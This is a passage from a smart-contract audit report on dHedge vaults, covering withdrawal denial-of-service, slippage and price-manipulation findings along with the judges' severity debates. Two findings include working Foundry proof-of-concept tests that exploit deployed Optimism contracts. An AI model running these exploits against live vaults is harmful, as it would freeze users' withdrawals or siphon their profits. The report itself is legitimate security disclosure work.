  ) internal view {
>>  require(amountSent != 0, Errors.INVALID_AMOUNT);
```

```
    // ...
  }
```

In conclusion, when the Vault has tiny amounts of collateral or tiny amounts of debt, all withdrawals will be halted because the amounts to withdraw/repay will be rounded down to zero.

Impact

Withdrawals on the Vault will be halted when the Vault has tiny amounts of tokens as collateral or debt.

Anyone can deposit 1 wei of a collateral token on Aave on behalf of the Vault to trigger this bug. The manager can also take a tiny amount of debt on behalf of the Vault to make all withdrawals revert.

This issue directly breaks a restriction stated in the README:

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

Moreover, this issue doesn't depend on any conditions or external states so I believe it warrants high severity.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_withdrawal_aave`.

Additionally, you must have the following lines in the `.env` file for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";

interface IPoolLogic {
    function withdraw(uint256 _fundTokenAmount) external;
    function balanceOf(address owner) external view returns (uint256);
}

interface IAavePool {
```

```
    function deposit(address, uint256, address, uint16) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract PoolTest is Test {

    IPoolLogic pool = IPoolLogic(0x749E1d46C83f095342533323A43541A9d2bBD03AF);
    address randomUser = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;
    address attacker = makeAddr("attacker");

    IAavePool aaveLendingPool =
↪   IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);

    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        uint256 opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());
        vm.rollFork(121_348_913); // Jun-13-2024 04:36:43 PM +UTC
    }

    function test_withdrawal_aave() public {
        // Attacker deposits 1 wei of collateral in Aave on behalf of the Vault
        deal(address(WETH), attacker, 1);
        vm.startPrank(attacker);
        WETH.approve(address(aaveLendingPool), 1);
        aaveLendingPool.deposit(address(WETH), 1, address(pool), 0);
        vm.stopPrank();

        // Some user tries to withdraw from the Vault but is reverted
        vm.startPrank(randomUser);
        assertEq(pool.balanceOf(randomUser), 44.998230150000000000e18);
        // Error 26 in Aave is 'INVALID_AMOUNT' - check it out here:
↪   https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/librarie
↪   s/helpers/Errors.sol#L35
        vm.expectRevert(bytes("26"));
        pool.withdraw(10e18);
    }
}
```

The test above demonstrates how can any attacker deposit a tiny amount of collateral in Aave on behalf of the Vault in order to halt all withdrawals. In a similar way, the manager could borrow a tiny amount of tokens from Aave and withdrawals would also halt because the Vault would try to repay 0 amount to Aave.

Code Snippet

- https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/AaveLendingPoolAssetGuard.sol#L267
- https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/AaveLendingPoolAssetGuard.sol#L325

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to not call `withdraw` or `repay` on Aave if the input amount is zero.

Discussion

nevillehuang

Will the Dos be permanent? Would any further actions lift the DoS? If not high severity might be appropriate

santipu03

The issue can be triggered by the manager in two ways:

1. Depositing a tiny amount of collateral in Aave
2. Borrowing a tiny amount of debt in Aave

The first attack can be mitigated by depositing more collateral in Aave on behalf of the Vault so that the collateral isn't a tiny amount anymore and withdrawals are correctly processed.

However, the second attack cannot be mitigated in any way because only the manager can borrow on behalf of the Vault. If the manager triggers this issue by borrowing a tiny amount of debt, it will cause a permanent DoS on Vault withdrawals.

Given that the manager can cause a permanent DoS on withdrawals, I believe this issue warrants high severity.

If there are some dup reports (#121 and #88) that only describe the attack path 1, which is medium severity, it should also be grouped with this report? @nevillehuang

nevillehuang

@santipu03 According to the new sherlock duplication rules:

> The duplication rules assume we have a "target issue", and the "potential duplicate" of that issue needs to meet the following requirements to be considered a duplicate.
>
> 1. Identify the root cause
> 2. Identify at least a Medium impact
> 3. Identify a valid attack path or vulnerability path
> 4. Fulfills other submission quality requirements (e.g. provides a PoC for categories that require one) Only when the "potential duplicate" meets all three requirements will the "potential duplicate" be duplicated with the "target issue", and all duplicates will be awarded the highest severity identified among the duplicates.

Seems like it meets the requirements to be duplicated accordingly, and seems like point 2 is true. If there is a number of deposits and manager borrows a tiny amount to cause this revert, the funds can be locked permanently

spacegliderrrr

Escalate

DoS will not be permanent as any user can repay the dust amount of debt and then successfully withdraw. Issue should be medium severity.

sherlock-admin3

> Escalate
>
> DoS will not be permanent as any user can repay the dust amount of debt and then successfully withdraw. Issue should be medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

If this is true, I agree with medium severity, unless the manager can also bypass this to permanently lock funds

santipu03

That's right, users can repay on behalf of the Vault to withdraw their funds. Sorry that I've missed that.

Considering this, the issue may warrant medium severity.

@KupiaSecAdmin @gstoyanovbg Am I missing something?

WangSecurity

Agree with the escalation, planning to accept it and decrease the severity to medium.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/dhedge/dhedge-v2/pull/952

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-7: DoS on withdrawals when the slippage in swaps is higher than the flash loan to repay

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/27

The protocol has acknowledged this issue.

Found by

santipu_

Summary

When a withdrawal is initiated and the Vault has some loans in Aave, the slippage in swaps to repay the debt can end up being higher than the flash loan repayment, thus reverting the whole withdrawal transaction.

Vulnerability Detail

When a user initiates a withdrawal, if the Vault has some collateral and debt in Aave, the following steps are going to be followed to process that withdrawal:

1. The Vault is going to request a flash loan from Aave.
2. The Vault will repay the pro-rated debt using the flash loan funds.
3. The Vault will withdraw the pro-rated collateral from Aave.
4. The Vault will swap the withdrawn collateral to WETH
5. The Vault will swap the WETH to the relevant tokens to repay the flash loan + the flash fees.

Note that there are two swaps involved in an Aave withdrawal, in steps 4 and 5. When the market is volatile and a user tries to initiate a withdrawal from the Vault, the slippage incurred on those swaps can be higher than the flash loan to repay, thus reverting the whole transaction.

Let's look at an example:

1. Vault has 100 USD collateral in LINK and 80 USD debt in OP deposited in Aave (apart from more assets outside Aave)
2. User initiates a withdrawal using half of the total Vault liquidity:
    - Vault gets a flash loan of 40 USD in OP and repays the debt.
    - Vault withdraws 50 USD in LINK and swaps it all to WETH, incurring 10% in slippage, so the output is 45 USD in WETH.

    - Vault swaps 45 USD in WETH to repay the flash loan (40 USD in OP) but the slippage incurred is 13% so there are not enough tokens to get the 40 USD in OP.
3. The whole withdrawal gets reverted because the flash loan cannot be repaid due to the high slippage in swaps.

This issue will halt withdrawals as long as the slippage incurred in the swaps is high. Having on-time withdrawals is critical for the users because when the market is volatile, delayed withdrawals may imply a loss of funds for the users given that Vault share price may be decreasing at a fast rate.

Moreover, the manager can trigger this bug by himself to halt withdrawals even if the slippage is null. To do that, a manager can deposit collateral directly in Aave on behalf of the Vault using a non-supported asset by the Vault. When a withdrawal is initiated, the collateral on supported tokens won't be enough to repay the flash loan because the debt to repay is bigger than the accounted collateral. The attack path could be the following:

1. The Vault has 1 WETH as collateral in Aave.
2. The manager deposits directly in Aave 1 rETH on behalf of the Vault.
3. The manager uses the Vault to borrow an amount higher than the accounted collateral, like 5,000 USDC.
4. When the withdrawal is initiated, the flash loan to repay will be 5,000 USD but the collateral withdrawn will only be 1 WETH. Because 1 WETH is less valuable than 5,000 USDC, the flash loan won't be fully repaid, halting the withdrawal.

In step 4, the collateral withdrawn will only be 1 WETH instead of 1 WETH + 1 rETH because the rETH token isn't a token supported by the Vault so it's not available to withdraw from the Vault.

Impact

DoS on withdrawals when the slippage incurred is high so there are not enough tokens to repay the flash loan on Aave. The manager can also trigger this bug easily to halt withdrawals whenever he desires.

This issue breaks a protocol restriction stated in the README:

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

Moreover, given that the manager can trigger this bug without external conditions or requirements, I believe this warrants high severity.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L408

Tool used

Manual Review

Recommendation

To mitigate this issue, is recommended that users can initiate a withdrawal specifying which asset to avoid (not withdraw) so that withdrawals are not halted if a single asset cannot be withdrawn.

Discussion

nevillehuang

Per sponsor request, require poc to confirm complexity of finding.

santipu03

I tried to craft a PoC during the contest but it's a highly complex task because it involves simulating slippage when the swaps occur. The protocol has special swapper contracts that perform the swaps involved in repaying the Aave flash loan, but the underlying pool used for the swap varies depending on certain conditions. For this reason, I didn't submit a PoC with the report and I don't think I will be able to do it now.

However, I believe the attack path specified is enough to understand the core issue of the report:

- Vault has 100 USD collateral in LINK and 80 USD debt in OP deposited in Aave (apart from more assets outside Aave)
- User initiates a withdrawal using half of the total Vault liquidity:
- Vault gets a flash loan of 40 USD in OP and repays the debt.
- Vault withdraws 50 USD in LINK and swaps it all to WETH, incurring 10% in slippage, so the output is 45 USD in WETH.
- Vault swaps 45 USD in WETH to repay the flash loan (40 USD in OP) but the slippage incurred is 13% so there are not enough tokens to get the 40 USD in OP.
- The whole withdrawal gets reverted because the flash loan cannot be repaid due to the high slippage in swaps.

In a nutshell, when the market is volatile and the slippage incurred in the swaps is big enough, there won't be enough tokens to repay the Aave flash loan, making the whole transaction revert. This is a clear issue given that the README specifies that users should be able to withdraw their tokens at any moment.

If there are any further questions, I'll gladly answer them.

nevillehuang

@santipu03 Is this related to #10?

santipu03

@nevillehuang Both issues have the same impact, but a different root cause.

Issue #10 describes the incorrect implementation of the slippage parameter on withdrawals, which will cause unexpected reverts when withdrawing. As described in that report, withdrawals will revert even if the final slippage is lower than the limit specified by the user.

On the other hand, the root cause of this issue is that when the market is volatile and the slippage on swaps is big enough, there won't be enough funds to repay the Aave flash loan, which will cause reverts on withdrawals.

The impact of both issues is the same (reverts on withdrawals), but the underlying cause is unrelated.

nevillehuang

@santipu03 Will the DoS be permanent and can never be lifted as long as there is manager intervention?

santipu03

The DoS won't be permanent, it will be lifted when the market stabilizes and the slippage on swaps isn't that large.

nevillehuang

@santipu03 Seems like medium severity is more appropriate then:

> Definite loss of funds without (extensive) limitations of external conditions.

spacegliderrrr

Escalate

Slippage percentages of 10% and 13% are unrealistic. `dHedge` allows only for tokens with significant liquidity, so it is improbable that the cumulative slippage will be more than the overcollateralization ratio. (and for the 2nd described scenario, it is a dup of the root cause in #24). Issue should be either marked as low or duplicated to #24.

sherlock-admin3

> Escalate
>
> Slippage percentages of 10% and 13% are unrealistic. `dHedge` allows only for tokens with significant liquidity, so it is improbable that the cumulative slippage will be more than the overcollateralization ratio. (and for the 2nd described scenario, it is a dup of the root cause in #24).
> Issue should be either marked as low or duplicated to #24.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

@santipu03 Any comments for this comment?

santipu03

It's pretty clear that slippage values of 10% and 13% are not usual on tokens with significant liquidity, but it still can happen during a black swan event.

Given that the README specifically states that depositors should be able to withdraw their funds **under any circumstance**, I still believe this issue warrants medium severity.

WangSecurity

Fair point, but this issue indeed may happen under certain conditions, leading to such high slippage. Hence, it indeed violates the README statement and warrants medium severity.

Planning to reject the escalation and leave the issue as it is.

spacegliderrrr

Above everything, judging should be reasonable. Withdraws will fail if AAVE/Velodrome/Uniswap get hacked. However, only because it is theoretically possible, it should not warrant medium severity just because of the readme.

The same applies when talking about a high liquidity token having 13% slippage on a swap.

santipu03

> Above everything, judging should be reasonable. Withdraws will fail if AAVE/Velodrome/Uniswap get hacked. However, only because it is theoretically possible, it should not warrant medium severity just because of the readme.

Withdrawals will also fail if all electricity goes down on the planet, but this is out of scope, as is the possibility of those protocols being hacked.

However, high slippage in swaps is a plausible scenario that has occurred before.

etherSky111

What is the problem here? In this situation, DoS is necessary. (actually this is not a DoS) Withdrawers should repay flash loan to withdraw some assets from Aave pool based on their shares. If withdrawal should still happens when the swap amounts is less than the repay amount due to high slippage, the loss will apply to other depositors. Let me take an example. The collateral is 10 A and the debt is 8 B. (A, B are virtual tokens) User's share is 50%. In order to withdraw his shares, dHedge need to flashloan 4 B from Aave and withdraw 5 A. Then he swaps 5 A to weth and swaps this weth to B. Imagine this amount is 3.9 B due to high slippage and the flash loan amount is 4.1 B (including fee). Then this withdrawal should be reverted. This is not DoS. Who should fill this loss 0.2B? other depositors? Please consider this.

WangSecurity

The message above is correct, but the problem here is in the following statement in the README:

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

If there were no such statement, then I would agree that it's indeed a positive to revert in such situation, but the protocol said the depositors should be able to withdraw under any circumstances, and the report shows how under specific circumstances will prevent users from withdrawing.

About high slippage being reasonable, even though liquid tokens are used, if there are large sums of collateral and debt, I believe it's quite a viable scenario that there will such situation when the slippage is too high.

The decision remains the same, planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

Issue M-8: Manager can remove the Aave Lending Pool asset to later disrupt the Vault token price

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/28

Found by

santipu_

Summary

The manager can remove the Aave Lending Pool from the supported assets when the collateral is exactly the same as the debt. After some time has passed and the position has changed, the manager can add it again to the Vault to disrupt the Vault's token price and arbitrage it.

Vulnerability Detail

When the manager of a Vault wants to remove an asset from the *supported assets* list, there's a check that ensures that the Vault isn't holding any of those assets. For example, for assets that are simple ERC20 tokens, the following check is executed before the asset is removed:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/ERC20Guard.sol#L141-L144

```
  function getBalance(address pool, address asset) public view virtual override
↪   returns (uint256 balance) {
    // The base ERC20 guard has no externally staked tokens
    balance = IERC20(asset).balanceOf(pool);
  }

  function removeAssetCheck(address pool, address asset) public view virtual
↪   override {
    uint256 balance = getBalance(pool, asset);
>>  require(balance == 0, "cannot remove non-empty asset");
  }
```

For more complex assets, the check before removing an asset is different. If the manager of a Vault wants to interact with the Aave protocol, the contract PoolV3 from Aave must be added as a supported asset. In the same way, if the manager wants to remove the PoolV3 asset from the *supported assets* list, the balance has to be zero, which is checked here:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/AaveLendingPoolAssetGuard.sol#L106

```
  function getBalance(address pool, address) public view override returns
↪  (uint256 balance) {
    // ...

    uint256 length = supportedAssets.length;
    for (uint256 i = 0; i < length; i++) {
      asset = supportedAssets[i].asset;

      // Lending/Borrowing enabled asset
      if (IHasAssetInfo(factory).getAssetType(asset) == 4 ||
↪  IHasAssetInfo(factory).getAssetType(asset) == 14) {
        (collateralBalance, debtBalance, decimals) = _calculateAaveBalance(pool,
↪  asset);

        if (collateralBalance != 0 || debtBalance != 0) {
          tokenPriceInUsd = IHasAssetInfo(factory).getAssetPrice(asset);
          totalCollateralInUsd =
↪  totalCollateralInUsd.add(tokenPriceInUsd.mul(collateralBalance).div(10 **
↪  decimals));
          totalDebtInUsd =
↪  totalDebtInUsd.add(tokenPriceInUsd.mul(debtBalance).div(10 ** decimals));
        }
      }
    }

>>  balance = totalCollateralInUsd.sub(totalDebtInUsd);
  }
```

The last line of the `getBalance` function is what determines the Vault's balance within the AaveV3 protocol. The manager should only be able to remove that asset from being supported only when the balance is zero, meaning the total collateral and debt is zero.

However, a manager could trick the contract by depositing directly into Aave a non-supported token on behalf of the Vault. As the `getBalance` shows, the balance is only accounted for the supported assets, which means that if someone deposits collateral in Aave using a non-supported asset on behalf of the Vault, that balance won't be accounted for in `totalCollateralInUsd`.

Using this trick, the manager could remove the PoolV3 asset from being supported by following these steps:

1. The manager uses the Vault to deposit collateral in Aave (e.g. 1 WETH)

2. The manager directly deposits on Aave on behalf of the Vault using a non-supported token (e.g. 0.3 rETH)
3. The manager uses the Vault to make a borrow that is equal in value to the first deposit (e.g. 3,455 USD)
4. The manager removes the PoolV3 asset from being supported because the balance will be 0 (collateral - debt)

In step 4, the manager will be able to remove the asset from being supported because only one part of the Aave collateral is being accounted for, the 1 WETH. Because rETH isn't supported in the Vault at that moment, the 0.3 rETH collateral won't be accounted for, resulting in the balance being 0.

This issue won't have any impact in the Vault in the short term, but the manager can use this bug later to steal funds from the Vault's users. After this issue has been triggered, we have 2 possible scenarios:

Scenario 1: Aave position has profits

First, we have the scenario where the ETH price increases so the Aave position incurs profits given that the collateral is based on ETH. When this happens, the manager could steal some of the user's funds by following these steps:

1. Make a huge deposit in the Vault
2. Add PoolV3 as a supported asset
3. Withdraw the funds previously deposited (after the cooldown)

After these steps, the manager will make a profit because adding the PoolV3 asset as supported in the Vault has increased the Vault's token price.

Scenario 2: Aave position has losses

On the other hand, is possible that the ETH price goes down so the Aave position has losses. In this case, the manager could grief the users in the Vault by adding again the PoolV3 asset so that those losses are reflected in the Vault's token price, causing a loss of funds for all users.

Impact

The manager of a Vault can disrupt the Vault's token price by removing the PoolV3 (Aave v3) asset as supported and later adding it. If the prices have changed and the position has incurred profits, the manager can steal some of those profits that should go only to the Vault's users.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_remove_supported`.

Additionally, you must have the following line in the `.env` file in order for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";

interface IPoolLogic {
    function execTransaction(address to, bytes calldata data) external returns
↪   (bool success);
}

interface IAavePool {
    function deposit(address, uint256, address, uint16) external;
    function borrow(address, uint256, uint256, uint16, address) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IAaveLendingPoolAssetGuard {
    function getBalance(address pool, address) external view returns (uint256);
}

interface IPoolManagerLogic {
    struct Asset {
        address asset;
        bool isDeposit;
    }
    function changeAssets(Asset[] calldata _addAssets, address[] calldata
↪   _removeAssets) external;
}

contract PoolTest is Test {

    IPoolLogic pool = IPoolLogic(0x749E1d46C83f09534253323A43541A9d2bBD03AF);
```

```
    IPoolManagerLogic manager =
↪   IPoolManagerLogic(0x950A19078d33f732d35d3630c817532308490cCD);
    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;

    IAavePool aaveLendingPool =
↪   IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    IAaveLendingPoolAssetGuard aaveGuard =
↪   IAaveLendingPoolAssetGuard(0xF7E8a2ED2Dfa2b9AAF76c75f575474c299848577);

    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
    IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);
    IERC20 RETH = IERC20(0x9Bcef72be871e61ED4fBbc7630889beE758eb81D);

    uint256 opFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());
        vm.rollFork(121348913); // Jun-13-2024 04:36:43 PM +UTC
    }

    function test_remove_supported() public {
        // First, simulate the pool getting 1 WETH
        deal(address(WETH), address(pool), 1e18);

        // Approve 1 WETH to the Aave lending pool
        bytes memory data = abi.encodeWithSelector(WETH.approve.selector,
↪   address(aaveLendingPool), 1e18);
        vm.prank(managerAddress);
        pool.execTransaction(address(WETH), data);

        // Supply 1 WETH to the Aave lending pool
        data = abi.encodeWithSelector(aaveLendingPool.deposit.selector,
↪   address(WETH), 1e18, address(pool), 0);
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // The manager deposits 0.3 rETH on behalf of the pool
        deal(address(RETH), managerAddress, 0.3e18);
        vm.startPrank(managerAddress);
        RETH.approve(address(aaveLendingPool), 0.3e18);
        aaveLendingPool.deposit(address(RETH), 0.3e18, address(pool), 0);
        vm.stopPrank();

        // Borrow some USDC
```


```
        data = abi.encodeWithSelector(aaveLendingPool.borrow.selector,
↪   address(USDC), 3455.5e6, 2, 0, address(pool));
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // Check the Vault's Aave balance is 0 (even though it has some
↪   collateral and borrows)
        assertEq(aaveGuard.getBalance(address(pool), address(0)), 0);

        // The manager removes the aaveLendingPool asset from being supported
        address[] memory removeAssets = new address[](1);
        removeAssets[0] = address(aaveLendingPool);
        vm.prank(managerAddress);
        manager.changeAssets(new IPoolManagerLogic.Asset[](0), removeAssets);
    }
}
```

As this test demonstrates, the manager can remove the Aave v3 lending pool from the supported assets even if the Vault has some collateral and borrows. After the test, when some time passes and the ETH price changes, the manager can add back the Aave v3 lending pool as a supported asset to disrupt the Vault's token price and even make some profits.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/AaveLendingPoolAssetGuard.sol#L106

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to check that the Vault doesn't have any collateral or borrow in Aave before allowing the removal of the Aave lending pool from the list of supported assets.

Discussion

nevillehuang

Is high severity justified here? Can managers can keep repeating the attack as long as aave positions has recurring profits?

nevillehuang

request poc

sherlock-admin4

PoC requested from @santipu03

Requests remaining: **3**

santipu03

@nevillehuang That's correct, the manager can keep repeating the attack as long as the Aave position has recurring profits.

I already sent a PoC with the report that demonstrates that the manager can pull this attack at any moment, is there anything more needed?

As a side note, the duplicated report #124 doesn't correctly describe the attack path needed for this issue to be triggered. That report states that this issue will be caused when the Vault's position in Aave has accrued bad debt, which shouldn't be possible because Aave liquidators would have liquidated that position long ago. I believe that scenario is OOS because external protocols are considered TRUSTED, so it's assumed that Aave positions will be liquidated on time.

The key difference that makes this report valid is the fact that the Vault's manager can directly deposit collateral in Aave on behalf of the Vault using a non-supported token, which will allow this issue to be triggered.

nevillehuang

@santipu03 @spacegliderrrr Is #82 a duplicate of this issue?

santipu03

@nevillehuang I believe issue #82 is a duplicate of #14 because both root causes are a reentrancy vulnerability in a swap using 1Inch.

On the other hand, the root cause of this issue is that the manager can remove the Aave Pool asset despite some open loans.

nevillehuang

This issue, #28, #82 and #14 all seems very similar, in that they all involve a removal of supported assets. Wouldn't the fix in #14 fix all issues, i.e. implement some checks to prevent removal of supported assets arbitrarily

spacegliderrrr

No a single fix can't work for all issues

#28 fix would be proper AAVE pool asset guard set in place (to account for not supported tokens) #14 fix can either be not allow swaps with custom executors or to add a `afterTxGuard` which makes sure token is not removed #82 fix can either be

not allow custom pool swaps or to add a `afterTxGuard` which makes sure token is not removed (hence, depending on the fix, may or may not fix #14)

Also, dups on #14 are not correct. Issues #81 and #107 describe a way to mint cheap shares via reentrancy. Fix would be to add a `nonReentrant` modifier to `deposit`. None of the fixes above would solve this.

Also, keep in mind that #28 requires the manager to do a significant donation from their own pocket. Also, there's a deposit fee, which would make depositing a large amount of funds to capture the profit unworthy. Imo issue should be low.

nevillehuang

@spacegliderrrr So you are saying a possible correct duplication is as follows?

#28 - unique medium #14 - unique high #82 - unique high #81 and #107 - duplicates

spacegliderrrr

Seems about right. Though #32 which currently is marked as a dup of #14 might be a unique high too.

spacegliderrrr

Escalate

Issue should be low. A large donation is required which in case a of a price drop would be liquidated (so described griefing vector isn't actually possible). Also, users cannot actually suffer any losses in any case as they receive the same amount in USDC as the one they give in WETH, so token price remains the same. Described issue above just serves as an expensive call option for the manager.

sherlock-admin3

> Escalate
>
> Issue should be low. A large donation is required which in case a of a price drop would be liquidated (so described griefing vector isn't actually possible). Also, users cannot actually suffer any losses in any case as they receive the same amount in USDC as the one they give in WETH, so token price remains the same. Described issue above just serves as an expensive call option for the manager.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

@santipu03 do you have any counterarguments?

santipu03

It's true that if the position incurs losses it will be liquidated in Aave so griefing is not possible in that scenario.

However, in the scenario where the position has profits, the manager will steal those profits that should have gone to the Vault users. In this situation, the users have a loss of funds because they're deprived of the profits from that Aave position.

In short, the Vault's token price should have gone up given the profits from the Aave position but it won't because of this bug exploited by the manager.

Considering this, I believe this issue still warrants medium severity given that it causes a loss of funds for the Vault's users in specific scenarios:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss.

WangSecurity

About the following steps:

1. The manager uses the Vault to deposit collateral in Aave (e.g. 1 WETH)
2. The manager directly deposits on Aave on behalf of the Vault using a non-supported token (e.g. 0.3 rETH)

As I understand, both steps are made via the same function, but the Vault doesn't have rETH as a supported asset, correct? Could you send a link to this function?

To make sure I understand the attack path:

> The manager uses the Vault to deposit collateral in Aave (e.g. 1 WETH) The manager directly deposits on Aave on behalf of the Vault using a non-supported token (e.g. 0.3 rETH) The manager uses the Vault to make a borrow that is equal in value to the first deposit (e.g. 3,455 USD) The manager removes the PoolV3 asset from being supported because the balance will be 0 (collateral - debt)

After it, some time passes, the manager adds rETH Aave pool as a supported asset, which leads to disrupted vault's token price?

I think I'm missing this piece, how this scenario would lead to the manager stealing the profit?

santipu03

> As I understand, both steps are made via the same function, but the Vault doesn't have rETH as a supported asset, correct? Could you send a

> link to this function?

For step 1, the manager calls `execTransaction` on the Vault to deposit the WETH collateral on Aave. For step 2, the manager directly calls Aave to deposit the rETH collateral (calling supply specifying `onBehalfOf` as the Vault).

> After it, some time passes, the manager adds rETH Aave pool as a supported asset, which leads to disrupted vault's token price?

Not exactly. After some time passes, the manager adds the `AaveV3` asset again so that if the open position has profits it will lead to an instant increase in the Vault's token price. A manager can take profit off this sudden increase in price by depositing a large amount of funds just before the `AaveV3` asset is added again.

WangSecurity

To construct the path:

1. The manager uses the Vault to deposit collateral in Aave (e.g. 1 WETH)
2. The manager directly deposits on Aave on behalf of the Vault using a non-supported token (e.g. 0.3 rETH)
3. The manager uses the Vault to make a borrow that is equal in value to the first deposit (e.g. 3,455 USD)
4. The manager removes the PoolV3 asset from being supported because the balance will be 0 (collateral - debt)
5. There's still a position of 1 WETH on Aave, which with time gains profit.
6. The manager deposits his own funds into the vault.
7. The manager adds the PoolV3 asset (WETH pool, correct?) as a supported asset.
8. Returns the debt.
9. Vault's token price increases.
10. The manager receives profit, without being invested before and his funds were not invested in that WETH pool on Aave, so he takes the profit of the other users.

In that case, is step 3 possible? Can you take the borrow equal to your collateral, so the balance is effectively 0?

And since we have to make a borrow, we also have to pay the borrow fee, but there's still a possible scenario where the profit from the collateral is larger than the borrow fee?

santipu03

> In that case, is step 3 possible? Can you take the borrow equal to your collateral, so the balance is effectively 0?

Yes, it is possible, the PoC in the report demonstrates it.

> And since we have to make a borrow, we also have to pay the borrow fee, but there's still a possible scenario where the profit from the collateral is larger than the borrow fee?

The borrowing fee of USDC is around 8% annually. To have profit with this position, the WETH price must increase more than 8% in a year, which has happened tons of times.

WangSecurity

Hence, I agree medium severity is appropriate here. Even though the funds of the users are not at risk, the manager can gain profit without being deposited before and their funds were not invested in that WETH position, resulting in essentially stealing the profit from other user's funds.

Planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Unique

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/952

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-9: Manager can mint performance fees even when token price decreases overall

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/36

The protocol has acknowledged this issue.

Found by

carrotsmuggler

Summary

Manager can mint performance fees even when token price decreases overall

Vulnerability Detail

Managers of funds are entitled to 2 types of fees: performance fees and streaming fees.

Streaming fees are extracted continuously over time at some fixed rate.

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L694-L720

```
uint256 streamingFee = _tokenSupply.mul(timeChange).mul(_managerFeeNumerator).di
↪  v(_feeDenominator).div(365 days);
```

Performance fees are more complicated. They are only extracted when the fund performs well and creates a profit for the end user and the manager gets minted a part of it.

```
uint256 currentTokenPrice = _fundValue.mul(10 ** 18).div(_tokenSupply);
if (currentTokenPrice > tokenPriceAtLastFeeMint) {
      available = currentTokenPrice
        .sub(tokenPriceAtLastFeeMint)
        .mul(_tokenSupply)
        .mul(_performanceFeeNumerator)
        .div(_feeDenominator)
        .div(currentTokenPrice);
    }
```

These fees are not token transfers, rather they are minted an equivalent number of shares, which the managers can they redeem to get the actual fees in the

underlying tokens. Since the fees are distributed in the form of freshly minted shares, minting the manager fee decreases the `tokenPrice` of the fund.

The `tokenPrice` is the ratio of the fund value to the total number of shares.

```
uint256 currentTokenPrice = _fundValue.mul(10 ** 18).div(_tokenSupply);
```

When fee shares are minted, the `_fundValue` remains the same, but the `_tokenSupply` increases, which decreases the `tokenPrice`.

The issue is that in certain situations, managers can collect performance fees even if the token price decreases overall.

Lets say a fund has 1000 dollars of tokens and 1000 shares minted. the starting `tokenPrice` is therefore 1e18.

